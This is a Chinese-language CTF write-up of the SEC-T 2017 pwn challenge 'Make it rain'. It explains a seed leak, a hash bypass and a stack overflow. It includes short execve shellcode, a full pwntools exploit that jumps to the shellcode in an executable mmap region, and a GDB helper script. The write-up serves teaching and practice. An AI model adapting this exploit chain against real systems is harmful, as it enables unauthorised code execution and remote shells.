Make it rain
0x00 前言
【时间】2017.9
【出处】SEC-T CTF
【类型】PWN
【分值】250
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
0x01 漏洞分析
程序功能简单,在开始的时候会要求输入Username,之后就会打印出菜单。
1) Change user 可以修改 Username
2) Make it rain 会要求验证一串hash值,验证通过可以再进行一次输入(栈溢出),验证没通过就直接exit
3) Exit exit()
main中只有四个函数
init()
从/dev/urandom读取四个字节的随机字节组成一个int变量rand_data,保存位置在bss上,而且紧挨着username
而在输入username的时候我们可以输入9个字节,我们输入八个字节的话就可以在打印username的时候泄漏出rand_data的值了。
而之后的srand()又是以rand_data作为种子,所以之后的rand()的值就是可预测的了。
login()
这里就是进行第一次的username的输入了,观察到可以输入九个字节,而且没有加上'\x00'截断。
create_secret()
首先创建一片内存映射区域,并且是可读可执行的,只有在往里面写入数据的时候才改为可读可写,之后又改回可读可执行。
它这片区域固定地从0x40000开始,并且长度为0x30D40个字节。
开头的前九个字节是输入的username,后面的数据则全部是由rand()生成的随机数。
menu()
这里就是主循环的地方了,主要的就是一个函数make_it_rain()这个函数下面有两个函数
verify_secure_hash()负责生成hash值和验证输入是否与hash值相等
而这串hash的生成主要就是和secret指向的username的值以及后面的随机数有关。
如果这里验证成功了,就可以进入withdraw函数,验证失败就exit()给你看。
withdraw()
这里就可以进行栈溢出了。
0x02 思路
程序除了canary,其他保护全开,但是程序刚开始创建的那片mmap区域是可执行的,而且刚开始的九个字节可控。
所以我们首先要控制username的9个字节作为可以正常开启shell的shellcode,然后控制rip跳过去执行就可以了。
所以总体思路如下
将9个字节以内的shellcode作为username进行输入。
在进行hash验证之前计算出正确的hash。
栈溢出,控制rip到0x40000
0x03 shellcode
什么样的shellcode可以控制在9个字节以内?
pop rax
push rsp
pop rcx
pop rdx
push rsp
pop rdi
int 0x80
这里一共八个字节,只要控制好栈上的内容,这串shellcode就是有效的。
0x04 hash
如何计算出hash?
我对sha256并不是很熟悉,所以我选择让程序本身帮我完成这件事。
由于最后的hash值主要和rand_data和username有关,而这两个变量,一个是我可控的,一个是我可以泄漏的。
于是我在攻击服务的同时,再在本地将程序的文件载入GDB,并且使这两个进程的以上两个变量的值相等,那么它们最后的hash就是相等的。
0x05 EXP
#bank.py
#!/usr/bin/python
from pwn import *
#------------------------Setting----------------------
EXCV = './bank'
HOST = ''
PORT =
context(log_level='debug')
e = ELF(EXCV)
LOCAL = 1
REMOTE = 0
if LOCAL:
io = process(EXCV)
libc = e.libc
if REMOTE:
io = remote(HOST,PORT)
libc = ELF('libc-2.23.so')
#------------------------Data-------------------------
shellcode = asm("pop rax; push rsp; pop rcx; pop rdx; push rsp; pop rdi;syscall;",arch='amd64',os = 'linux')
pad_len = 0x10+8
rip = 0x40000
#------------------------Function---------------------
def leak_seed():
io.recvuntil('Username: ')
io.send(shellcode)
io.recvuntil(shellcode)
seed = u32(io.recv(4))
return seed
#-----------------------------------------------------
seed = leak_seed()
io.success('seed :'+hex(seed))
fp = open("seed.txt",'w')
fp.write(str(seed))
fp.close()
#gdb.attach(io)
argv = ['gdb','-x','./bank_gdb.py']
p = process(argv)
p.recvuntil('Username: ')
p.send(shellcode)
p.recvuntil('#> ')
p.sendline('2')
sleep(1)#wait gdb run till dump the data to file.
p.kill()
fp = open("result.txt",'r')
secure_hash = fp.readline()
fp.close()
io.recvuntil('#> ')
io.sendline('2')
io.recvuntil('Please enter your secure hash: ')
io.send(secure_hash)
io.recvuntil('withdraw?: ')
payload = '\x00'*pad_len
payload += p64(rip)
payload += p64(0x3b)
payload += p64(0)
payload += "/bin/sh\x00"
payload += "end"
io.send(payload)
io.interactive()
#bank_gdb.py
import gdb
import sys
import os
def cmd(cmd,to_string=True):
return gdb.execute(cmd)
fp = open('seed.txt','r')
data = fp.readline()
seed = int(data)
fp.close()
cmd('file ./bank')
#create_secret = 0x55555555510b
cmd('b *0x555555554c56')
cmd('b *0x55555555510b')
cmd('run')
cmd('set variable rand_data='+str(seed))
cmd('c')
#cmd('set {long long}&username=0x6161616161616161')
cmd('b *0x555555554ed2')
cmd('c')
#cmd('b sha256_final')
cmd('dump memory ./result.txt 0x7fffffffdaa0 0x7fffffffdae0')
cmd('quit')
这里只使用了execute()方法,不过应对简单的使用场景是足够的,更多有关于gdb的python接口信息可以查看gdb官方文档。
个人博客:www.reversing.win
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法